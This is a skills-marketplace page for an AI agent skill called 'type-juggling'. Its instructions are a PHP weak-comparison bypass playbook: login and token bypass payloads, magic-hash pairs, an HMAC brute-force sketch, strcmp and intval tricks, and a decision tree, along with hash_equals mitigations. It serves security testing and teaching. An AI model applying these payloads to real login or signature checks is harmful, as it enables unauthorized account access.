MCPInstall

type-juggling

PHP type juggling and weak comparison (==) bypass. Use when authentication, HMAC/signature checks, or token validation uses loose equality, numeric coercion, or hash comparisons without strict types — common in legacy PHP and CTF-style code paths.

Installs
3.6K
Last 24h
+16
Trending rank
#6658
Security
Not audited

Install

Works with every agent the skills CLI supports.

npx skills add https://github.com/yaklang/hack-skills --skill type-juggling
  1. 01

    Install

    Run the command in your project. The CLI asks which agents to install for.

  2. 02

    Describe the task

    Ask your agent for something this skill covers. It loads type-juggling automatically when relevant.

  3. 03

    Review the result

    The agent follows the SKILL.md steps, scripts and references bundled with the skill.

SKILL.md

The instructions your agent reads when the skill is triggered.

SKILL: PHP Type Juggling — Weak Comparison & Magic Hash Bypass

AI LOAD INSTRUCTION: PHP == coercion, magic hashes (0e…), HMAC/hash loose checks, NULL from bad types, and CTF-style strcmp / json_decode / intval tricks. Use strict routing: map the sink (== vs hash_equals), PHP major version, and whether both operands are attacker-controlled. Routing note: when you encounter PHP login/signature logic or code like md5($_GET['x'])==md5($_GET['y']), start with this skill; if hash_equals/=== is already used, this path usually does not apply.

0. QUICK START

First-pass goal: prove the server branch treats unequal secrets/tokens as equal via coercion, not guess the real password.

First-pass payloads (auth / token shape)

password[]=x
password=
0
0e12345
240610708
QNKCDZO
true
[]
{"password":true}
admin%00

Minimal PHP probes (local or php -r in lab)

<?php
// Loose compare probes — run in target PHP major version if possible
var_dump('0e123' == '0e999');
var_dump('123a' == 123);
var_dump(md5('240610708') == md5('QNKCDZO'));

Routing hints

ClueNext step
Source code uses == to compare passwords, tokens, or HMAC valuesGo to Sections 1-3
md5($a) == md5($b) or loose sha1 comparisonSection 2 magic hashes
hash_hmac(...) != '0' or compared with "0"Section 3
strcmp、json_decode(..., true)、intvalSection 5

1. LOOSE COMPARISON (==) — TRUTH TABLE & VERSIONS

PHP compares operands with type juggling unless you use === or hash_equals() for secrets.

1.1 Core examples (strings vs numbers)

ExpressionResultMechanism (short)
'0010e2' == '1e3'trueBoth strings look numeric → compared as floats; both parse to 1000.0 (not zero — common exam trap; see next row for real “both zero”)
'0e462097431906509019562988736854' == '0e830400451993494058024219903391'trueBoth parse as 0.0 in scientific notation
'123a' == 123trueString cast to int stops at first non-digit → 123
'abc' == 0true (PHP 7.x and earlier)Non-numeric string compared to int → string becomes 0
'' == 0trueEmpty string → 0
'' == falsetrueboth “falsy” in loose rules
false == NULLtrueloose equality
0 == falsetrueloose equality
'' == 0 == false == NULLtrue (chain)Each adjacent pair is true under == (''==0, 0==false, false==NULL) — classic “falsy” chain
'0' == falsetrueString '0' is the only non-empty string that compares as false to boolean
'php' == 0false (PHP 8+)PHP 8: non-numeric string no longer equals 0

1.2 PHP 5 vs 7 vs 8 (high-signal deltas)

TopicPHP 5.x / 7.x (typical)PHP 8.0+
0 == "foo"true (string → 0)false
String-to-number for "123a"Still truncates for (int) / numeric compare in many == pathsSame idea for numeric strings; non-numeric vs int fixed as above
md5([]) / sha1([])May warn / NULL-like behavior in older patternsTypeError for wrong types — kills classic [] tricks unless error handling collapses to NULL

Tester takeaway: always note PHP version from headers, X-Powered-By, or fingerprint; a payload that works on PHP 7 may fail on PHP 8.

1.3 Safe alternative (defense / verification)

hash_equals((string)$expected, (string)$actual);  // timing-safe, strict string
// or
$expected === $actual;

2. MAGIC HASHES (0e… + digits only)

When both sides are hex-looking hash strings that match ^0e[0-9]+$, PHP treats them as floats in scientific notation → value 0.0. Then md5(A) == md5(B) is true even though digests differ as strings.

2.1 Reference table (MD5 / SHA-1 and longer algos)

AlgorithmExample inputDigest (starts with 0e + all decimal digits)
MD52406107080e462097431906509019562988736854
MD5QNKCDZO0e830400451993494058024219903391
SHA-1109324351120e07766915004133176347055865026311692244
SHA-224(brute-force / precomputed)Example form: 0e + decimal digits only → == with another such string is true
SHA-256(brute-force / precomputed)Same pattern: only strings matching ^0e\d+$ collide under ==

Why it works: md5('240610708') == md5('QNKCDZO') → both sides match ^0e[0-9]+$ → both interpreted as 0.0 == 0.0 → true.

2.2 Exploit pattern in code

if (md5($_GET['a']) == md5($_GET['b']) && $_GET['a'] != $_GET['b']) {
    // intended: different strings, same md5 (impossible for md5)
    // actual: two different strings whose *digests* are magic hashes
}

2.3 Payload sketch (pair hunting)

?a=240610708&b=QNKCDZO

For SHA-224/256, treat as search problem: brute-force inputs until digest matches ^0e\d+$; pair two distinct inputs. Longer hashes = harder; MD5/SHA1 examples above are the usual teaching set.


3. HMAC BYPASS (LOOSE COMPARE VS "0" OR 0)

If logic uses loose inequality against a constant:

if (hash_hmac('md5', $data, $key) != '0') { /* ok */ }
// or == 0, == false with string "0e...", etc.

Brute-force $data (e.g. timestamp, nonce, counter) until hash_hmac output matches ^0e[0-9]+$ (for MD5 output) or the code’s specific loose rule — then the hash may compare equal to 0 or to another magic digest under ==.

Example (MD5-style 0e digest for a numeric message)

ConceptExample
Message typeUnix timestamp, incrementing id, millisecond clock
Timestamp brute-force patternTutorials sometimes cite 1539805986 → 0e772967136366835494939987377058 as a magic-hash style example; md5('1539805986') does not yield that digest in stock PHP — use the idea (scan timestamps / counters until output matches ^0e[0-9]+$) and always verify against the exact function + key in the target code.
GoalFind $data such that hash_hmac('md5', $data, $key) matches ^0e[0-9]+$
NoteWithout knowing $key, you may still brute $data if algorithm/output are visible in a oracle; CTFs often leak or fix key
# Conceptual: try many timestamps
for t in range(T0, T1):
    if re.fullmatch(r'0e\d+', hmac_md5(str(t), key)):
        use t

Mitigation: hash_equals($mac, $expected) + fixed-length hex/binary encoding; never compare HMAC to bare "0".


4. NULL JUGGLING (ARRAYS & TYPE ERRORS)

Invalid types can yield NULL on the compared side; loose equality to another NULL or coerced value may pass.

CallTypical PHP 7/8 behavior
md5([])PHP 8: TypeError; older: warnings / not reliable across versions
sha1([])Same
IdeaIf error handler or custom wrapper converts failures to NULL, then NULL == NULL or NULL == sha1("x") if other side is also NULL
// CTF / broken code mental model:
@sha1($_GET['x']) == @sha1($_GET['y']);  // if both error to NULL → true

Real audits: look for @, custom try/catch that sets hash to null, or user input passed where a string is required.


5. CTF PATTERNS

5.1 strcmp / strcasecmp with arrays

strcmp([], "password");  // NULL in PHP 7/8 (invalid args)
// NULL == 0  → true in loose compare if code does:
if (strcmp($_GET['p'], $secret) == 0)

Payload:

?p[]=1

5.2 intval bypass

// Hex: base 0 lets PHP interpret 0x prefix (version-dependent; always verify)
intval("0x1A", 0);   // → 26

// Octal: leading 0 can be parsed as octal with base 0
intval("010", 0);  // → 8 (classic teaching example; confirm on target PHP)

// Scientific notation: intval() alone stops at 'e'; cast via float first
intval((float) "1e2"); // → 100
?id=0x1A
?id=010
?id=1e2

5.3 json_decode + true for associative array auth

{"password": true}
$j = json_decode($input, true);
if ($j['password'] == $stored_string) // true == "nonempty" often true — see PHP loose rules

5.4 is_numeric + loose compare

is_numeric("0e12345");  // true
"0e12345" == 0;         // true (scientific notation → 0.0)

5.5 Deserialization + magic properties

Unserialize user input into objects whose __toString or properties feed into md5($obj) or loose compare — combine with magic hash strings on properties (CTF). Look for unserialize($_…) near == on hashes.


6. DECISION TREE

                         +------------------+
                         | PHP loose compare|
                         | or hash == hash? |
                         +--------+---------+
                                  |
                    +-------------+-------------+
                    |                           |
             +------v------+             +------v------+
             | Uses === or |             | Uses == or   |
             | hash_equals |             | strcmp == 0  |
             +------+------+             +------+-------+
                    |                           |
               STOP (likely)              +-----v-----+
                                          | Operand   |
                                          | types?    |
                                          +-----+-----+
                           +--------------+---+--------------+
                           |              |                  |
                    +------v------+ +-----v-----+    +-------v--------+
                    | Both numeric| | One int & |    | Hash digests   |
                    | strings 0e… | | one string|    | both 0e\d+ ?   |
                    +------+------+ +-----+-----+    +-------+--------+
                           |              |                  |
                      MAGIC HASH    STRING/INT           MAGIC HASH
                      COLLISION     JUGGLING             (md5/sha1/…)
                           |              |                  |
                           +------+-------+------------------+
                                  |
                           +------v------+
                           | HMAC / MAC  |
                           | vs "0"      |
                           +------+------+
                                  |
                           brute $data
                           for 0e… digest
                                  |
                           +------v------+
                           | Arrays /    |
                           | json true / |
                           | strcmp([])  |
                           +-------------+

Tool references

ToolUse
Local php CLIReproduce == behavior for target major version
Static code reviewGrep ==, != on crypto outputs; find missing hash_equals
CTF frameworksPayload generators for magic hashes and 0e search

Safety & scope: Use only on authorized targets (CTF, lab, written permission). This skill explains language semantics for defense and assessment — not a license to attack systems without consent.

FAQ

What does the type-juggling skill do?

PHP type juggling and weak comparison (==) bypass. Use when authentication, HMAC/signature checks, or token validation uses loose equality, numeric coercion, or hash comparisons without strict types — common in legacy PHP and CTF-style code paths.

How do I install type-juggling?

Run npx skills add https://github.com/yaklang/hack-skills --skill type-juggling in your project. The skills CLI detects the agents you use and copies the skill into the right folder. For Claude Code you can also place the skill folder at ~/.claude/skills/type-juggling/ (personal) or .claude/skills/type-juggling/ (project).

Which AI agents can use type-juggling?

Any agent that supports the open Agent Skills format (a folder with a SKILL.md file), including Claude Code, Codex, Cursor, GitHub Copilot, Gemini CLI, Windsurf, Cline, OpenCode and more.

Is type-juggling safe to install?

No partner security audit is available yet. Skills can run commands and scripts, so read the SKILL.md and any bundled files before installing.

Who maintains type-juggling?

It is published by yaklang in yaklang/hack-skills. It has 3,575 recorded installs.

More from yaklang/hack-skills

View all →

hack

yaklang/hack-skills

Entry P0 primary router and operating doctrine for HackSkills. Use when the task involves web application testing, API security assessment, recon, vulnerability triage, exploit path planning, authorized pentest, code audit, source-leak mining, middleware audit, SOC triage, detection engineering, incident response, or choosing the right next category skill before any deep topic skill. Also use when the user mentions 安全工程师, 渗透测试, 红队, 蓝队, 代码审计, 源码泄露, SRC. Enforce impact-first testing, finish the current asset cluster before expanding, follow half-chains to real control, and require live verification of secrets.

Security4.4K installs

android-pentesting-tricks

yaklang/hack-skills

Android pentesting playbook. Use when testing Android applications for SSL pinning bypass, exported component abuse, WebView vulnerabilities, intent redirection, root detection bypass, tapjacking, and backup extraction during authorized mobile security assessments.

Mobile4.1K installs

recon-and-methodology

yaklang/hack-skills

Reconnaissance and methodology playbook. Use when mapping assets, discovering endpoints, fingerprinting technology, and building a structured testing plan for a new target.

Testing & QA4K installs

sqli-sql-injection

yaklang/hack-skills

SQL injection playbook. Use when input reaches SQL queries, authentication logic, sorting, filtering, reporting, or DB-specific blind and out-of-band execution paths.

Data & Databases4K installs

Code obfuscation analysis and deobfuscation playbook. Use when reversing binaries protected by junk code, opaque predicates, self-modifying code, control flow flattening, VM protection, or string encryption.

Security4K installs

xss-cross-site-scripting

yaklang/hack-skills

XSS playbook. Use when user-controlled content reaches HTML, attributes, JavaScript, DOM sinks, uploads, or multi-context rendering paths.

Security4K installs

Popular backend & apis skills

View category →

find-skills

vercel-labs/skills

Helps users discover and install agent skills when they ask questions like "how do I do X", "find a skill for X", "is there a skill that can...", or express interest in extending capabilities. This skill should be used when the user is looking for functionality that might exist as an installable skill.

OfficialBackend & APIs4.1M installs

entra-app-registration

microsoft/azure-skills

Guides Microsoft Entra ID app registration, OAuth 2.0 authentication, and MSAL integration. USE FOR: create app registration, register Azure AD app, configure OAuth, set up authentication, add API permissions, generate service principal, MSAL example, console app auth, Entra ID setup, Azure AD authentication. DO NOT USE FOR: Key Vault secrets (use azure-keyvault-expiration-audit), general Azure resource security guidance.

OfficialBackend & APIs566.7K installs

This skill should be used when the user wants to "write agent code", "build an agent with ADK", "add a tool", "create a callback", "define an agent", "use state management" — in a project that needs ADK (Agent Development Kit) API patterns and code examples. It provides a quick reference for agent types, tool definitions, orchestration patterns, callbacks, state management, the graph Workflow API, and reference recipes to study. Do NOT use for scaffolding (use google-agents-cli-scaffold) or deployment (use google-agents-cli-deploy).

Backend & APIs514.8K installs

embedded-captions

heygen-com/hyperframes

Add captions or subtitles to an existing single-subject talking-head video without editing the footage. Use for plain verbatim captions, cinematic captions embedded behind the subject, VFX captions, “炸/特效/酷炫字幕,” or a named identity from the 35-style catalog. Route by visual identity, not by backend engine. The quiet anchor rail is the default; embed every word only when the user explicitly wants a fully cinematic treatment. The workflow runs locally end to end, including transcription and subject matting; split multi-shot footage before applying it.

Backend & APIs453.3K installs

entra-agent-id

microsoft/azure-skills

Provision Microsoft Entra Agent Identity Blueprints, BlueprintPrincipals, and per-instance Agent Identities via Microsoft Graph, and configure OAuth 2.0 token exchange (fmipath, OBO, cross-tenant) including the Microsoft Entra SDK for AgentID sidecar. USE FOR: Agent Identity Blueprint, BlueprintPrincipal, agent OAuth, fmipath token exchange, agent OBO, Workload Identity Federation for agents, polyglot agent auth, Microsoft.Identity.Web.AgentIdentities. DO NOT USE FOR: standard Entra app registration (use entra-app-registration), Microsoft Foundry agent authoring (use microsoft-foundry).

OfficialBackend & APIs336.6K installs

neon

neondatabase/agent-skills

Overview of Neon, a complete set of cloud backend primitives around Lakebase Postgres: Auth, Object Storage, Functions, the AI Gateway, and Realtime. Start here to choose Neon for undecided login, files, APIs, and LLM calls, set up the CLI or MCP server, and follow the branch-first workflow. Use when building an app or backend on Neon, or when "Neon" or "Lakebase Postgres" is mentioned. Child skill neon-postgres wins for an existing DATABASEURL, SQL, schema, inspect, or search. Child skill neon-auth wins for login, users, sessions, identity routing, and Managed Better Auth setup. Child skill neon-realtime wins for live queries in reactive apps and agents. Also use for object storage, S3, buckets, serverless functions, function triggers, cron, AI gateway, LLM calls, realtime, logs, Loki, Grafana, observability, postgres, database, backend, Claimable Neon, neon.new, or a no-signup database.

Backend & APIs237.1K installs